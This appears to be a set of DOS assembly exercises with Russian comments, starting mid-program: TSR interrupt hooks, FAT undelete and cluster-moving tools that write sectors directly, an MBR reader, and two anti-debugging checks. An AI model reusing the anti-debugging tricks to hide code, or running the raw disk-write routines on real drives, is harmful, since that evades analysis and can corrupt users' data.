call [dword ptr cs:old_int_21h] ; какой же хендл ему дос даст?
jc @@_6 ; ошибка выходим
pushf
push bx
mov bx, [cs:s] ; созраним хендл
shl bx, 1 ; слово
add bx, offset hs ; смещение для нового хендла
mov [word ptr cs:bx], ax
pop bx
inc [cs:s] ; counter++
popf
@@_6:
mov [cs:old_ax], ax ; выход с новыми флагами
mov [cs:old_bx], bx
mov [cs:old_cx], cx
pop ax
pop bx
pop cx
pushf
push bx
push ax
mov ax, [cs:old_ax]
mov bx, [cs:old_bx]
mov cx, [cs:old_cx]
iret
@@_3:
pop bx ax
jmp @@_4
@@write:
pushf
push ax cx es di
mov cx, [cs:s] ; число открытых файлов
or cx, cx ; нет таких -- уходим
jz @@_7
push cs
pop es
cld
mov ax, bx
mov di, offset hs
repnz scasw ; поиск файла в который пишут
jnz @@_7
pop di es cx ax
popf
mov ax, 05h ; стандартная ошибка access denied
stc ; cf=1
jmp @@_6
@@_7:
pop di es cx ax
popf
jmp @@_4
@@close:
pushf
push ax cx es di
mov cx, [cs:s] ; нужно коррекировать таблицу?
or cx, cx
jz @@_8 ; не не нужно -- она пустая
push cs
pop es
cld
mov ax, bx
mov di, offset hs
repz scasw ; поиск хендла
jnz @@_8
push ds si
mov si, di
inc si
inc si
push cs
pop ds
rep movsb ; переписываем хвост таблицы
dec [cs:s]
pop si ds
@@_8:
pop di es cx ax
popf
jmp @@_4
endp new_int_21h
old_ax dw ?
old_bx dw ?
old_cx dw ?
proc new_int_2Fh far
cmp ax, 0F104h ; волшебное слово
jnz next
mov al, 0FFh ; уже есть
next:
jmp [dword ptr cs:old_int_2Fh]
endp new_int_2Fh
old_int_21h dd 0
old_int_2Fh dd 0
hs dw 256 dup(0)
s dw 0
load:
mov ax, 0F104h
int 2Fh
cmp al, 0FFh
jz already ; уже есть
mov ax, 3521h
int 21h ; старый вектор
mov [word ptr old_int_21h], bx
mov [word ptr old_int_21h + 2], es
mov ax, 352Fh
int 21h
mov [word ptr old_int_2Fh], bx
mov [word ptr old_int_2Fh + 2], es
mov ax, 2521h
mov dx, offset new_int_21h
int 21h
mov ax, 252Fh
mov dx, offset new_int_2Fh
int 21h
mov ah, 49h ; выгружаем окружение
mov es, [word ptr 2Ch]
int 21h
mov dx, offset load
int 27h ; остаемся в памяти
already:
mov ah, 09h
mov dx, offset already_str
int 21h
int 20h
dataseg
already_str db '14 already instaled!', 10, 13, '$'
end
ideal
jumps
p386
model tiny,pascal
codeseg
startupcode
xor al, al
mov cx, 1
mov dx, 0
mov bx, offset buf
int 25h ; бут
pop ax
xor al, al
mov cx, [word ptr buf + 16h]
mov dx, 1
mov bx, offset bf2
int 25h ; фат
pop ax
xor al, al
mov cx, 14
mov dx, 19
mov bx, offset r
int 25h ; корневой каталог
pop bx
xor bx, bx
@@_2:
cmp [byte ptr r + bx], 0 ; конец?
jz @@_1
cmp [byte ptr r + bx], 'х' ; русская х -- удален
jz @@_del
@@_3:
add bx, 32 ; размер записи в директории
jmp @@_2
@@_del:
mov eax, [dword ptr r + bx + 1Ch] ; размер файла
add eax, 01FFh ; добавим почти 512
shr eax, 9 ; перевод в сектора
mov cx, [word ptr r + bx + 1Ah] ; первый клястер
call undel ; востановить
jmp @@_3
@@_1:
int 20h
proc undel
mov [byte ptr r + bx], 'A' ; замена первой буквы
dec ax
jz @@_wrt
xchg ax, cx
@@_5:
push ax
mov bx, 3
mul bx
shr ax, 1
mov bx, ax
pop ax
test ax, 1
jnz @@_4
inc ax
mov dx, [word ptr bf2 + bx]
and dx, 0F000h
cmp cx, 0 ; последний клятсер?
jnz @@_6
mov ax, 0FFFh ; да последний
@@_6:
add ah, dh ; записать номер следующиго клястера
mov [word ptr bf2 + bx], ax
jmp @@_8
@@_4:
inc ax
push ax
shl ax, 4
mov dx, [word ptr bf2 + bx]
cmp cx, 0 ; последний клятсер?
jnz @@_7
mov ax, 0FFF0h ; да последний
@@_7:
mov dh, ah
and dx, 0Fh
add dl, al ; записать номер следующиго клястера
mov [word ptr bf2 + bx], dx
pop ax
@@_8:
loop @@_5
@@_wrt:
xor al, al
mov cx, 9
mov dx, 1
mov bx, offset bf2 ; запись первой fat
int 26h
pop ax
mov cx, 9
xor al, al
mov dx, 10
mov bx, offset bf2
int 26h ; запись второй fat
pop ax
xor al, al
mov cx, 14
mov dx, 19
mov bx, offset r ; запись корневого каталога
int 26h
pop ax
ret
endp undel
udataseg
buf db 512 dup(?)
bf2 db 512 * 9 dup(?)
r db 224 * 32 dup(?)
end
ideal
jumps
p386
model tiny,pascal
struc tmbr
db 1BEh dup(?)
p1bf db ?
p1bh db ?
p1bsc dw ?
p1ft db ?
p1eh db ?
p1esc dw ?
p1ba dd ?
p1ts dd ?
p2bf db ?
p2bh db ?
p2bsc dw ?
p2ft db ?
p2eh db ?
p2esc dw ?
p2ba dd ?
p2ts dd ?
p3bf db ?
p3bh db ?
p3bsc dw ?
p3ft db ?
p3eh db ?
p3esc dw ?
p3ba dd ?
p3ts dd ?
p4bf db ?
p4bh db ?
p4bsc dw ?
p4ft db ?
p4eh db ?
p4esc dw ?
p4ba dd ?
p4ts dd ?
db ?,?
ends tmbr
codeseg
startupcode
mov ax, 0201h ; читать (02) один сектор (01)
mov cx, 0001h ; сектор #1 цилиндр 0
mov dx, 80h ; первый hdd
mov bx, offset mbr
int 13h
mov cl, [mbr.p1ft]
or cl, cl ; пусто
jz @@_2
mov al, [mbr.p1bh] ; координаты начала раздела HCS
mov bx, [mbr.p1bsc]
cmp cl, 05h ; расширенный раздел dos?
jnz @@_2a
call prn_ext ; его печать
jmp @@_2
@@_2a:
call prn_hsc
@@_2:
mov cl, [mbr.p2ft] ; для второгй записи
or cl, cl
jz @@_3
mov al, [mbr.p2bh]
mov bx, [mbr.p2bsc]
cmp cl, 05h
jnz @@_3a
call prn_ext
jmp @@_3
@@_3a:
call prn_hsc
@@_3:
mov cl, [mbr.p3ft]
or cl, cl
jz @@_4
mov al, [mbr.p3bh]
mov bx, [mbr.p3bsc]
cmp cl, 05h
jnz @@_4a
call prn_ext
jmp @@_4
@@_4a:
call prn_hsc
@@_4:
mov cl, [mbr.p4ft]
or cl, cl
jz @@_5
mov al, [mbr.p4bh]
mov bx, [mbr.p4bsc]
cmp cl, 05h
jnz @@_5a
call prn_ext
jmp @@_5
@@_5a:
call prn_hsc
@@_5:
ret
proc prn_hsc
call prn_byte ; голова
mov ax, 0E20h ; пробел
int 10h
push bx
xchg bl, bh
shr bh, 6 ; cccc cccc CcSs ssss
mov al, bh
call prn_byte ; цилиндр
mov al, bl
call prn_byte ; младший байт
pop bx
mov ax, 0E20h
int 10h
and bl, 00111111b ; сектор
mov al, bl
call prn_byte
mov ax, 0E0Ah
int 10h
mov al, 0Dh
int 10h
ret
endp prn_hsc
proc prn_ext
mov cx, bx
mov dh, al
mov dl, 80h ; с hdd #1
mov ax, 0201h ; читать один сектор
mov bx, offset smbr
int 13h
mov ax, 0E3Eh ; вывести '>', что б отличать primary
int 10h
mov al, [smbr.p1bh]
mov bx, [smbr.p1bsc]
call prn_hsc ; печать координат лог. диска
cmp [smbr.p2ft], 05h ; есть еще лог. диски
jnz @@exit
mov al, [smbr.p2bh]
mov bx, [smbr.p2bsc]
call prn_ext ; рекурсия
@@exit:
ret
endp prn_ext
proc prn_byte
push ax bx ax
shr al, 4
add al, '0'
cmp al, '9'
jle @@prn
add al, 'A' - '0' - 10
@@prn:
mov ah, 0Eh
xor bx, bx
int 10h
pop ax
and ax, 0Fh
add al, '0'
cmp al, '9'
jle @@prn2
add al, 'A' - '0' - 10
@@prn2:
mov ah, 0Eh
xor bx, bx
int 10h
pop bx ax
ret
endp prn_byte
udataseg
mbr tmbr <>
smbr tmbr <>
end
ideal
jumps
p286
model tiny,pascal
codeseg
startupcode
xor al, al ; a:
mov cx, 1 ; один сектор
mov dx, 0 ; нуловой
mov bx, offset buf
int 25h
xor bx, bx
mov cx, 25 ; длинна bpb
@@_1:
mov al, [byte ptr buf + bx + 0Bh] ; по смещению 11
call prn_byte ; печать байта
mov ax, 0E20h ; пробел
int 10h
inc bx
loop @@_1
int 20h
udataseg
buf db 512 dup(?)
codeseg
proc prn_byte
push ax bx ax
shr al, 4
add al, '0'
cmp al, '9'
jle @@prn
add al, 'A' - '0' - 10
@@prn:
mov ah, 0Eh
xor bx, bx
int 10h
pop ax
and ax, 0Fh
add al, '0'
cmp al, '9'
jle @@prn2
add al, 'A' - '0' - 10
@@prn2:
mov ah, 0Eh
xor bx, bx
int 10h
pop bx ax
ret
endp prn_byte
end
ideal
jumps
p286
model tiny,pascal
struc tdst
fn db 8 dup(?)
fe db 3 dup(?)
fa db ?
db 10 dup(?)
ft dw ?
fd dw ?
cl dw ?
sz dd ?
ends tdst
codeseg
startupcode
mov cl, [80h] ; длинна комстроки
dec cl
cmp cl, 3 ; разна трем?
jz @@_0
ret ; нет выход
@@_0:
xor cx, cx ; десятичный номер клястера
mov al, [82h]
xor ah, ah
sub al, '0'
mov bx, 100
mul bx
add cx, ax
mov al, [83h]
xor ah, ah
sub al, '0'
mov bx, 10
mul bx
add cx, ax
mov al, [84h]
xor ah, ah
sub al, '0'
add cx, ax
mov [number], cx ; сохраним номер
xor al, al ; читаем bootsec
mov cx, 1
mov dx, 0
mov bx, offset buf
int 25h
pop ax
xor al, al ; читаем фат
mov cx, [word ptr buf + 16h]
mov dx, 1
mov bx, offset bf2
int 25h
pop ax
mov cx, 14 ; читаем rootdir
mov dx, 19
mov bx, offset dst
xor al, al
int 25h
pop ax
mov bx, [dst.cl] ; у первого попавшегося файла
xor dx, dx ; счетчик
@@_1:
call get_cl ; следующий клястер
inc dx
cmp dx, [number] ; нужный?
jz @@found ; да!
cmp ax, 0FFFh ; конец?
jz @@exit ; тогда выходим...
mov bx, ax
jmp @@_1
@@found:
mov dx, bx
add dx, 31 ; поправка на номер сектора
mov cx, 1
xor al, al
mov bx, offset buf
int 25h ; читаем
pop ax
mov cx, 512 ; байт в секторе
mov bx, offset buf
mov ah, 0Eh
@@_2:
mov al, [byte ptr bx] ; печать символа
push bx
xor bx, bx
int 10h
pop bx
inc bx
loop @@_2
@@exit:
ret
udataseg
number dw ?
codeseg
proc get_cl
push bx
push bx
mov ax, bx
mov bx, 3
push dx
mul bx
pop dx
mov bx, ax
shr bx, 1
mov ax, [word ptr bf2 + bx]
pop bx
test bx, 1
jnz @@_1
and ax, 0FFFh
jmp @@_2
@@_1:
shr ax, 4
@@_2:
pop bx
ret
endp get_cl
udataseg
buf db 512 dup(?)
bf2 db 512 * 9 dup(?)
dst tdst <>
end
ideal
jumps
p286
model tiny,pascal
struc tdst
fn db 8 dup(?)
fe db 3 dup(?)
fa db ?
db 10 dup(?)
ft dw ?
fd dw ?
cl dw ?
sz dd ?
ends tdst
codeseg
startupcode
xor al, al
mov cx, 1
mov dx, 0
mov bx, offset buf
int 25h ; читаем bootsec
pop ax
xor al, al
mov cx, [word ptr buf + 16h]
mov dx, 1
mov bx, offset bf2
int 25h ; fat
pop ax
mov cx, 14
mov dx, 19
mov bx, offset dst
xor al, al
int 25h ; rootdir
pop ax
mov bx, [dst.cl] ; первый файл, первый клястер
@@_1:
call get_cl ; следующий
push bx
mov bx, ax
call get_cl ; а дальше конец?
pop bx
cmp ax, 0FFFh
jz @@_move ; да
call get_cl ; нет вернутся на один по цепочке
mov bx, ax
jmp @@_1
@@_move:
mov [corr], bx ; корректируемый
call get_cl ; указывает на переписываемый
mov [from], ax
mov bx, 2 ; начинаем со второго
mov cx, 2879 ; максимально клястеров
@@_2:
call get_cl
or ax, ax ; пустой?
jz @@found ; да!
inc bx
loop @@_2
jmp @@exit ; нет свободных
@@found:
mov [to], bx ; куда переписываем
mov dx, [from] ; чтение сектора
add dx, 31
mov cx, 1
xor ah, ah
mov bx, offset buf
int 25h
pop ax
mov dx, [to] ; запись сектора
add dx, 31
mov cx, 1
xor ah, ah
mov bx, offset buf
int 26h
pop ax
mov bx, [corr] ; переделка фат
mov dx, [to]
call set_cl
mov bx, [from] ; теперь свободен
mov dx, 000h
call set_cl
mov bx, [to] ; а здесь конец файла
mov dx, 0FFFh
call set_cl
xor al, al
mov cx, 9 ; пишем фат
mov dx, 1
mov bx, offset bf2
int 26h
xor al, al
mov cx, 9 ; пишем фат 2
mov dx, 10
mov bx, offset bf2
int 26h
pop ax ax
@@exit:
ret
udataseg
from dw ?
to dw ?
corr dw ?
codeseg
proc get_cl
push bx
push bx
mov ax, bx
mov bx, 3
mul bx
mov bx, ax
shr bx, 1
mov ax, [word ptr bf2 + bx]
pop bx
test bx, 1
jnz @@_1
and ax, 0FFFh
jmp @@_2
@@_1:
shr ax, 4
@@_2:
pop bx
ret
endp get_cl
proc set_cl
push ax bx cx dx
push bx
mov ax, bx
mov bx, 3
push dx
mul bx
pop dx
mov bx, ax
shr bx, 1
mov ax, [word ptr bf2 + bx]
mov cx, bx
pop bx
test bx, 1
jnz @@_1
and ax, 0F000h
add dh, ah
jmp @@_2
@@_1:
and ax, 000Fh
shl dx, 4
add dx, ax
@@_2:
mov bx, cx
mov [word ptr bf2 + bx], dx
pop dx cx bx ax
ret
endp set_cl
udataseg
buf db 512 dup(?)
bf2 db 512 * 9 dup(?)
dst tdst <>
end
ideal
jumps
model tiny,pascal
codeseg
startupcode
mov al, 0F0h
mov [byte ptr @@_1 + 1], 0F0h ; в конвеере не перепишет
@@_1:
or al, 0Fh
cmp al, 0FFh
jnz @@_2
ret
@@_2:
mov ax, 0E07h ; отладчик!
int 10h
ret
end
ideal
jumps
p286
model tiny,pascal
stack_size equ 100h
codeseg
startupcode
mov bx, (offset prog_end + stack_size)
and bx, 1111111111111110b ; установка стека
mov sp, bx
mov ah, 4ah ; изменяем размер
mov bx, (offset prog_end + 15 + stack_size)
shr bx, 4
int 21h
mov ax, 3501h ; узнаем где первый вектор
int 21h
mov [word ptr old_int_01h], bx
mov bx, es
mov [word ptr old_int_01h + 2], bx
mov ah, 25h ; установить наш
push cs cs
pop ds es
mov dx, offset my_trace
int 21h
mov ah, 48h ; выделим память под оверлей
mov bx, 10h
int 21h
jc @@_exit
mov [call_block], ax
mov [word ptr new_prog + 2], ax
mov ax, 4B03h ; загрузить но не выполнять
mov dx, offset prg_name
mov bx, offset call_block
int 21h
pushf ; при возврате iret'ом востановит
pushf
pop cx
or cx, 0000000100000000b ; установить флаг трассировки
push cx
popf
call [dword ptr new_prog] ; вызов оверлея
mov ax, [call_block] ; освобождение памяти
mov es, ax
mov ah, 49h
int 21h
@@_exit:
mov bx, [word ptr old_int_01h + 2]
mov es, dx
mov bx, [word ptr old_int_01h]
mov ax, 2501h ; вернуть старый вектор
int 21h
int 20h
proc my_trace far
push ax bx
mov ax, 0E2Dh ; вывести черточку
xor bx, bx
int 10h
pop bx ax
iret
endp my_trace
udataseg
old_int_01h dd ?
dataseg
new_prog dd 0
prg_name db '1.bin',0 ; имя оверлея
call_block dw 0
dw 0
udataseg
label prog_end word
end
; оверлей с точкой входа
ideal
jumps
segment code byte
dw offset begin
db '2.bin -- очень важный оверлей',0
begin:
mov ax, 0E07h
int 10h
retf
ends code
end
code segment
assume cs:code,ds:code,ss:code
org 100h
begin: jmp main ;переход на начало программы
message db 'Запущена ',0
message_ db ' программа.',0Dh,0Ah,0
int21: push ax bx dx cx ds ;сохраняем регистры
cmp ah,4bh ;смотрим если в ah 4bh
jne exit ;если нет то на выход
cmp al,03h ;смотрим если в al 03h
je exit ;если есть то на выход т.к.это оверлей
mov si,dx ;загружаем в si ASCIIZ строку(командную строку)
next: cmp byte ptr[si],2Eh ;смотри попалась точка или нет
je next_1 ;если точка переход по метки
inc si ;если нет переходи к следующему символу
jmp short next ;возврат на сравнение
next_1: inc si ;переходим к следующему символу
mov dx,si ;сохраняем si в dx
cmp byte ptr[si],43h ;смотрим что за символ
je met1 ;если С то на метку если нет то дальше
cmp byte ptr[si],45h ;если Е то на метку
je met1 ;
jmp short exit ;на выход
met1: push ds cs ;заносим в стек ds cs
pop ds ;загружаем cs в ds
mov si,offset message ;загружаем адрес сообщения в si
cld ;направляем поток
met2: lodsb ;загружаем символ из si в al
test al,al ;сравнить на ноль
jz met3 ;если ноль то на метку если нет то далие
int 29h ;недокументированная функци вывода символа на экран
jmp short met2 ;на повтор
met3: pop ds ;возвращаемся в предыдущий сегмент данных
mov si,dx ;загружаем в si dx
cld ;
next_2: lodsb ;
test al,al ;
jz met4 ;
int 29h ;
jmp short next_2 ;
met4: push cs ;
pop ds ;
mov si,offset message_ ;
cld ;
next_3: lodsb ;
test al,al ;
jz exit_
int 29h ;
jmp short next_3 ;
exit_: mov ah,00h ;ожидает нажатия лобой клавише
int 16h ;
exit: ;
pop ds cx dx bx ax ;востанавливаем сохраненные регистры
db 0eah ;длинный прыжок(возврат к программе jmp far ... )
old_int21 dd ? ;а это куда именно
;все что выше остается в памяти после комады INT 27H и будет работать при запуске других программах
main:
mov ax,3521h ;полечить вектор 21h прерывания
int 21h
mov word ptr old_int21,bx ;сохраняем старый
mov word ptr old_int21+2,es ;вектор
mov ax,2521h ;установить вектор прерывания
mov dx,offset int21 ;указываем откуда 'начинается' резидент
int 21h
mov dx,offset main ;то что не является резидентом
int 27h
code ends
end begin
#include <dos.h>
#include <fcntl.h>
#include <io.h>
#include <stdio.h>
#include <errno.h>
void main ()
{
int exe_handle;
int rt_size, i_off, i_seg;
if (_argc!=2)
{
printf("Формат запуска rt.exe <имя exe-файла>\n\n"); return;
}
exe_handle = open(_argv[1], O_BINARY | O_RDONLY);
if (exe_handle == -1)
switch (errno)
{
case ENOENT:
printf ("No such file or directory\n\n"); return;
case EMFILE:
printf ("Too many open files\n\n");
return;
case EACCES:
printf ("Permission denied\n\n");
return;
}
// Set file pointer to RT_SIZE
lseek (exe_handle,6,SEEK_SET);
read (exe_handle,&rt_size,2);
// Set file pointer to RT
printf("\nI_OFF\tI_SEG\n");
lseek (exe_handle,0x1b,SEEK_SET);
for (int i=0; i<rt_size; i++)
{
read(exe_handle,&i_off,2);
read(exe_handle,&i_seg,2);
printf("%x\t%x\n",i_off,i_seg);
}
close(exe_handle);
}
code segment para 'code'
assume ds:code,ss:code,es:code,cs:code
org 100h
begin:
jmp main
logo db 'ctrl_pause #3',10,13
db 10,13,'Press Ctrl+Break to stop infinite loop',10,13,'$'
ctrl_br db 10,13
db 'Ctrl+Break was presed and Int 1Bh was occupated',10,13,'$'
vect_1b dd 0
f_1b db 0
main:
mov ah,09h
lea dx,logo ; Вывод logo
int 21h
mov ax,351bh ; получаем адрес программы текущего
int 21h ; обработчика прерываний 1bh
mov word ptr [vect_1b],bx ; сохраняем его в переменной
mov word ptr [vect_1b+2],es ; vect_1b
mov ax,251bh ; инициализируем вектор прерываний
lea dx,int_1b ; и настраиваем его на процедуру
int 21h ; int_1b
repeat: ;бесконечный цикл
mov al,f_1b ;exit to Ctrl+Break
and al,al ;Int 1Bh
jz repeat
mov ax,251bh
mov dx,word ptr [vect_1b]
mov ds,word ptr [vect_1b+2]
int 21h
int 20h
int_1b proc
cli
push cs
pop ds
mov ah,09h
lea dx,ctrl_br
int 21h
mov f_1b,0ffh
sti
iret
endp
code ends
end begin
.186 ; Эта опция для того,что бы работало
cod segment ; pusha/popa - сохранение всех
org 100h ; регистров в стеке
assume cs:cod,ds:cod ;
;
Begin: ;
jmp Init ;Проинициализируемся!
;
Int9h: ;Собственно обработка
push ds ; - сохраним среду
push es ;
pusha ;
push cs ;
pop ds ;
;
push 0040h ;Проверим,удерживается ли Alt
pop es ;по адресу 0040:0017 лежит слово
mov ax,word ptr es:[0017h] ;состояния,где 3-й бит - признак этого
and ax,word ptr 8 ;нажатия.Его и проверим
cmp ax,word ptr 8 ;
jne OutThere ;
in al,60h ;Прочтем клавишу из буфера
cmp al,1EH ;Сравним с A
je PutMessage ;
jmp OutThere ;Если все напрасно-уходим
PutMessage: ;По клавишам Alt+A выведем сообщение
mov ah,9 ;
mov dx,offset Message ;
int 21h ;
OutThere: ;
popa ;Восстановим среду
pop es ;
pop ds ;
jmp dword ptr cs:[Old_Int9] ;и обработаем по умолчанию
Message db "The valid combination is pressed!!!",10,13,'$'
Old_Int9 dd 0 ;
Init: ;
mov ax,3509h ;Стандартный перехват вектора прерываний
int 21h ;
;
mov word ptr [Old_Int9+2],es;Запомним преведущий вектор
mov word ptr [Old_Int9],bx ;
;
mov ax,2509h ;Установим его на нашу функцию
mov dx,offset Int9h ;
int 21h ;
;
mov dx,offset Init ;Выйдем,став резидентными
inc dx ;
int 27h ;
cod ends ;
end Begin ;
.186 ; Эта опция для того,что бы работало
cod segment ; pusha/popa - сохранение всех
org 100h ; регистров в стеке
assume cs:cod,ds:cod ;
;
Begin: ;
jmp Init ;Проинициализируемся!
;
Int9h: ;Собственно обработка
push ds ; - сохраним среду
push es ;
pusha ;
push cs ;
pop ds ;
;
push 0040h ;Проверим,удерживается ли Alt
pop es ;по адресу 0040:0017 лежит слово
mov ax,word ptr es:[0017h] ;состояния,где 3-й бит - признак этого
and ax,word ptr 8 ;нажатия.Его и проверим
cmp ax,word ptr 8 ;
jne OutThere ;
;
in al,60h ;Прочтем клавишу из буфера
cmp al,10h ;Сравним с Q
; je Clean ;
jne OutThere ;Если все напрасно-уходим
Clean: ;удалим из памяти
mov ah,9h
push cs
pop ds
lea dx,mes
int 21h
push word ptr 0 ;запишем старый вектор назад в таблицу
pop ds ;прерываний по адресу 0000:0024
mov bx,24h ;
mov ax,word ptr cs:[Old_Int9]
mov word ptr ds:[bx],ax ;
mov ax,word ptr cs:[Old_Int9+2]
mov word ptr ds:[bx+2],ax ;
mov ah,49h ;Высвобождаем память функцией
push cs ;ДОСа
pop es ;
int 21h ;
OutThere: ;
popa ;Восстановим среду
pop es ;
pop ds ;
jmp dword ptr cs:[Old_Int9] ;и обработаем по умолчанию
mes db 'Fuck',10,13,'$' ;
Old_Int9 dd 0 ;
;
Init: ;
mov ax,3509h ;Стандартный перехват вектора прерываний
int 21h ;
;
mov word ptr [Old_Int9+2],es;Запомним преведущий вектор
mov word ptr [Old_Int9],bx ;
;
mov ax,2509h ;Установим его на нашу функцию
mov dx,offset Int9h ;
int 21h ;
;
mov dx,offset Init ;Выйдем,став резидентными
inc dx ;
int 27h ;
cod ends ;
end Begin ;
text segment 'code'
assume cs:text,ds:text
org 100h
resid proc far
jmp start
mes db 'B',4,'r',4,'e',4,'a',4,'k',4
entry:
push ds
push si
push bx
push es
push cx
push di
push cs
pop ds
lea si,mes
mov bx,0B800h
mov es,bx
mov di,0
mov cx,10
rep movsb
pop di
pop cx
pop es
pop bx
pop si
pop ds
iret
resid endp
ressize equ $-resid
start proc
push cs
pop ds
mov ax,251Bh
lea dx,entry
int 21h
mov ah,9
lea dx,mes1
int 21h
mov ax,3100h
mov dx,(ressize+10Fh)/16
int 21h
start endp
mes1 db '(C) Ctrl-Break catcher is loaded...',10,13,'$'
text ends
end resid
.286
Model tiny
CodeSeg
Org 100h
start:
jmp Init
Int_1C PROC FAR
pusha
push ds
mov cx,cs:Count
cmp cx,1080
je done
inc cs:Count
jmp exit
done:
mov al,4
out 70h,al
in al,71h
push ax
and ax,0Fh
add ax,48
mov cs:Mess+2,al
pop ax
xor ah,ah
shr al,4
add al,48
mov cs:Mess,al
mov al,2
out 70h,al
in al,71h
push ax
and ax,0Fh
add ax,48
mov cs:Mess+8,al
pop ax
xor ah,ah
shr al,4
add al,48
mov cs:Mess+6,al
push 0B8F9h
pop ds
mov cx,5
mov si,6
xor di,di
mov cs:Count,di
Loop1:
mov ax,word ptr cs:[di+Mess]
mov ds:[si],ax;word ptr cs:[bx+si]
inc si
inc di
inc di
inc si
loop Loop1
exit:
pop ds
popa
iret
Count dw 1080
Mess db 32,13,32,13,':',13,32,13,32,13
Int_1C ENDP
Init:
mov ax,251Ch
lea dx,Int_1C
int 21h
lea dx,Init
inc dx
int 27h
end start
TITLE TASK1 (COM)
; --------------------------------------------
.286
INTTAB SEGMENT AT 0
ORG 21H*4
AINT21 LABEL DWORD
ORG 2FH*4
AINT2F LABEL DWORD
INTTAB ENDS
CSEG SEGMENT PARA
ASSUME CS:CSEG
ORG 100H
Start: JMP INIT
SINT21 DD ?
SINT2F DD ?
MESS DB 13,10,'Запускается пpогpамма:$'
PROC21 PROC
CMP AH,4BH
JE B10
JMP SINT21
B10: PUSHA
PUSH DS
PUSH dx
MOV ax,cs
mov ds,ax
lea dx,MESS ; вывод сообщения
mov ah,9 ;
PUSHF ;
CALL SINT21 ;
pop dx
pop ds
XOR CX,CX
MOV BX,DX
B20: CMP BYTE PTR [BX],0 ;
JE B30 ; подсчет числа байт
INC CX ; в имени файла
INC BX ;
JMP B20 ;
B30: MOV AH,40H ;
MOV BX,01 ; вывод имени файла
PUSHF ; на монитоp
CALL SINT21 ;
mov ah,2 ;
mov dl,13 ; пеpевод стpоки
PUSHF ;
CALL SINT21 ;
mov dl,10 ;
PUSHF ;
CALL SINT21 ;
POPA
JMP SINT21
PROC21 ENDP
PROC2F PROC
ASSUME CS:CSEG,DS:NOTHING,ES:NOTHING
CMP AX,0EF00H
JE W10
JMP SINT2F
W10: MOV AX,0FFH
IRET
PROC2F ENDP
INIT PROC NEAR
ASSUME DS:CSEG
MOV AX,0EF00H ; проверка повторной загрузки
INT 2FH ;
CMP AX,0FFH ;
JNE I10 ;
MOV AH,9 ; программа уже загружена
LEA DX,MESS1 ;
INT 21H ; вывод сообщения
RET
I10: ASSUME ES:INTTAB
MOV AX,INTTAB
MOV ES,AX
CLI
MOV AX,WORD PTR AINT21 ; сохранить адрес
MOV WORD PTR SINT21,AX ; адрес прежнего
MOV AX,WORD PTR AINT21+2 ; обработчика прерывания 21
MOV WORD PTR SINT21+2,AX ;
MOV WORD PTR AINT21,OFFSET PROC21 ; заменить адрес
MOV WORD PTR AINT21+2,CS ; обработчика прерывания 21
MOV AX,WORD PTR AINT2F ; сохранить адрес
MOV WORD PTR SINT2F,AX ; адрес прежнего
MOV AX,WORD PTR AINT2F+2 ; обработчика прерывания 2F
MOV WORD PTR SINT2F+2,AX ;
MOV WORD PTR AINT2F,OFFSET PROC2F ; заменить адрес
MOV WORD PTR AINT2F+2,CS ; обработчика прерывания 2F
STI
MOV AH,9 ;
LEA DX,MESS2 ;
INT 21H ; вывод сообщения
MOV DX, OFFSET INIT ; завершить и
INT 27H ; оставить резидентной
MESS1 DB 'Программа уже была загружена.$'
MESS2 DB 'Программа стартовала.$'
ENDP
CSEG ENDS
END Start
codesg segment
assume cs:codesg, ds:codesg, ss:codesg
org 100h
start:
jmp install
;------------------------------------------
nl EQU 0dh, 0ah
old_int16h dw 0, 0
msg1 db nl, 'Install', nl, '$'
msg2 db nl, 'Already installed!', nl, '$'
msg3 db 07h, 07h, 24h
msg4 db 07h, 24h
;------------------------------------------
int_16h proc
cmp ax, 5048h ;проверка на повторный запуск
jne m1
mov bx, ax
iret
m1:
cmp ah, 00h
je m2
cmp ah, 10h
je m2
jmp dword ptr cs:old_int16h ;вернуться к старому обработчику
m2:
pushf
call dword ptr cs:old_int16h ;прочитать символ
push ds
push ax
mov ax, 0040h
mov ds, ax
mov al, ds:[0017h] ;from BIOS Data Area
test al, 00000100b ;Ctrl-shift (either side) DOWN
jnz m3
jmp short return
m3:
pop ax
cmp ah, 30h ;SCAN code 'B'
je ctrl_b
cmp ah, 10h ;SCAN code 'Q'
je ctrl_q
pop ds
iret
ctrl_q:
push ax
push dx
push cs
pop ax
mov ds, ax
mov es, ax
lea dx, msg3
mov ah, 09h
int 21h
mov dx, cs:old_int16h ;установить старый вектор
mov ds, cs:old_int16h+2
mov ax, 2516h
int 21h
mov ah, 49h ;free memory
int 21h
pop dx
jmp short return
ctrl_b:
push cs
pop ds
push ax
push dx
lea dx, msg4
mov ah, 09h
int 21h
pop dx
return:
pop ax
pop ds
iret
int_16h endp
install:
mov ax, 5048h ;проверка на повторный запуск
int 16h
cmp bx, ax
je exit
mov dx, offset msg1
mov ah, 09h
int 21h
mov ax, 3516h ;вектор Int16
int 21h
mov word ptr old_int16h, bx
mov word ptr old_int16h+2, es
mov dx, offset int_16h ;мой обработчик
mov ah, 25h ;установить вектор
int 21h
mov dx, offset install
int 27h ;остаться резидентной
exit:
mov dx, offset msg2
mov ah, 09h
int 21h
mov ax, 4c00h
int 21h
codesg ends
end start
model Tiny
Jumps
CodeSeg
Org 100h
Say MACRO Message_Addr
lea dx,&Message_Addr
mov ah,9
int 21h
endm
Start: jmp Begin
Debug db 'Debugger on line',13,10,'$'
NoDeb db 'Debugger off line',13,10,'$'
Begin:
push ss
pop ss
pushf
xor ax,ax
pop ax
xor bx,bx
mov bx,ax
and bx,0000000100000000b
cmp bx,0
je NoDebugger
Say Debug
jmp Quit
NoDebugger:
Say NoDeb
Quit: mov ah,4Ch
int 21h
end Start
text segment
assume cs:text
start:
push seg data
pop ds
xor ax,ax
mov cx,14
mov dx,19
xor bx,bx
int 25h
popf
xor si,si ;0Bh
mov cx,224
Loop1:
cmp byte ptr ds:[si],0E5h
jnz lab1
cmp byte ptr ds:[11],10000b
jnz lab1
inc byte ptr cs:Count
lab1:
mov ax,ds
add ax,2
mov ds,ax
loop Loop1
mov ax,4C00h
int 21h
Count db 0
text ends
data segment
buffer db 14*256 dup (0)
data ends
end start
text segment
assume cs:text
start:
push seg data
pop ds
xor ax,ax
mov cx,14
mov dx,19
xor bx,bx
int 25h
popf
xor si,si ;0Bh
mov cx,224
Loop1:
cmp byte ptr ds:[si],0E5h
jnz lab1
cmp byte ptr ds:[11],10000b
jz lab1
inc byte ptr cs:Count
lab1:
mov ax,ds
add ax,2
mov ds,ax
loop Loop1
mov ax,4C00h
int 21h
Count db 0
text ends
data segment
buffer db 14*256 dup (0)
data ends
end start
